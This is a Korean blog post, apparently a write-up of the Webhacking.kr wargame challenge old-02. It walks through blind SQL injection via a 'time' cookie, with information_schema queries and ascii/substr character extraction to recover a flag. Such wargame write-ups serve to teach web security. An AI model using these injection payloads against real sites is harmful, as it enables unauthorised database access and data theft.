ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Webhacking.kr] old-02
    보안/Wargame 2021. 7. 28. 16:48

     

    old 02 문제

    old 2번 문제를 풀어보자. 문제 페이지에 접속하면 위와 같은 페이지가 나온다.

    간단하게 먼저 확인해 볼 수 있는 페이지 소스를 보고 쿠키 값을 확인했다.

    <!--
    2021-07-28 09:04:20
    -->
    <h2>Restricted area</h2>Hello stranger. Your IP is logging...<!-- if you access admin.php i will kick your ass -->

    2번 문제의 html 소스코드를 확인하면 2개의 정보를 얻을 수 있다.

    시간 정보가 하나 있고 admin.php 라는 페이지에 대한 정보가 있다.

     

    admin.php

    admin 페이지에서 플래그를 입력하면 된다.

     

    쿠키

     

    쿠키값을 확인해보니 time에 정수값이 들어있었다.

    이 값은 기준으로부터 현재까지의 시간을 초로 나타낸 EpochTime 이다.

     

     

     

     

     

     

    쿠키 값에 10을 넣고 새로고침하니 시간이 바뀌었다. 초가 10으로 바뀐걸 주목하자.

    해당 값이 쿠키값 입력에 따라 정해진다는 걸 알 수 있다.

     

    이 값을 비워봤더니 아래와 같은 의미없는 응답을 받았다.

    쿠키 값에 따라 참, 거짓을 판별할 수 있을 것 같다.


     

    입력한 쿠키 값
    1627456573 and 1=1--
    
    응답 값
    <!--
    2070-01-01 09:00:01
    -->
    
    =====================
    
    입력한 쿠키 값
    1627456573 and 1=0--
    
    응답 값
    <!--
    2070-01-01 09:00:00
    -->

    응답을 확인하면 참일 경우 1, 거짓일 경우 0을 리턴한다.

    정리하면, 응답으로 정수를 받을 경우 해당 정수를, 참일 경우 1을, 거짓일 경우 0을 응답한다는 것을 알 수 있다.

     

     

    쿠키 값
    select count(table_name) from information_schema.tables where table_schema=database()
    
    응답 값
    <!--
    2070-01-01 09:00:02
    -->

    현재 사용 중인 데이터베이스에 있는 테이블 갯수를 알아보자.

    information_schema에는 데이터베이스의 여러 정보를 담고 있고 그 중 테이블 정보를 알아보려고 한다.

    DB에 포함된 테이블 갯수를 count(table_name)으로 출력하면 2개의 테이블이 존재한다는 것을 알 수 있다.

    (https://floodnut.tistory.com/9 참고)

     

    테이블의 개수를 알았다. where 절이 없더라면 모든 DB의 모든 테이블이 조회 등판했을 것이다.. 

    확인해보니 63개 ㅋㅋ

     

    2개로 범주를 좁혔으니 테이블 명을 알아보자.

    쿠키 값
    (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)
    
    응답 값
    <!--
    2070-01-01 09:00:13
    -->
    
    =====================
    쿠키 값
    (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>96
    
    응답 값
    <!--
    2070-01-01 09:00:01
    -->

    첫번째 테이블의 길이는 length 함수를 사용하여 13글자인 것을 알아냈다.

    마찬가지로 두번째 테이블의 길이를 조회하면 3글자가 나온다.

     

    테이블 명의 길이를 알았으니 테이블 명을 알아내보자.

    첫번째 글자부터 열세번째 글자까지 블라인드 인젝션을 통해서 알아낼 수 있다.

    첫번째 글자는 a로 확인했다.

     

    전체 테이블 명은 직접 해보는 걸로..

     

     

    쿠키 값
    (select length(column_name) from information_schema.columns where table_name='알아낸_테이블_명' limit 0,1)
    
    응답 값
    <!--
    2070-01-01 09:00:02
    -->

    테이블을 알아냈으니 이제 컬럼에 대한 정보를 알아내야한다.

    테이블에 대한 정보를 얻을 때와 마찬가지로 컬럼 갯수, 길이, 컬럼 명을 알아내면 된다.

     

    해당 테이블에는 컬럼이 한개만 존재하고 그 컬럼의 길이는 2글자이다.

    테이블 명, 컬럼 명을 얻어내는 방식은 동일하니 새롭게 푸는 사람들은 직접 해보자.

     

    쿠키 값
    (select count(알아낸_컬럼) from 알아낸_테이블)
    
    응답 값
    <!--
    2070-01-01 09:00:01
    -->
    
    ====================
    쿠키 값
    (select length(알아낸_컬럼) from 알아낸_테이블)
    
    응답 값
    <!--
    2070-01-01 09:00:17
    -->

    테이블, 컬럼 정보를 바탕으로 해당 테이블의 값의 갯수를 확인하면 1개만 나온다.

    따로 limit을 이용할 필요 없이 바로 그 레코드의 길이를 알아보면 17이 나온다.

    이제 필요한 모든 정보를 모았다.

     

    쿠키 값
    (select ascii(substr(알아낸_컬럼,1,1)) from 알아낸_테이블)
    
    응답 값
    <!--
    2070-01-01 09:01:47
    -->

    17글자의 값 중 첫번째 글자는 아스키코드로 107인 것을 알 수 있다.

     

    이렇게 17개의 글자를 모두 찾아 admin.php에 제출하면 이 문제를 해결할 수 있다.

     

     

    사실 파이썬 스크립트를 작성할 수 있었지만 비효율적으로 노가다해서 풀어버렸다.

    파이썬 스크립트를 따로 작성하면 추가하겠다.

    '보안 > Wargame' 카테고리의 다른 글

    [내부 CTF] MISC:금고털이범  (0) 2021.08.24
    [Webhacking.kr] old-01  (0) 2021.07.28

    댓글

Designed by Tistory.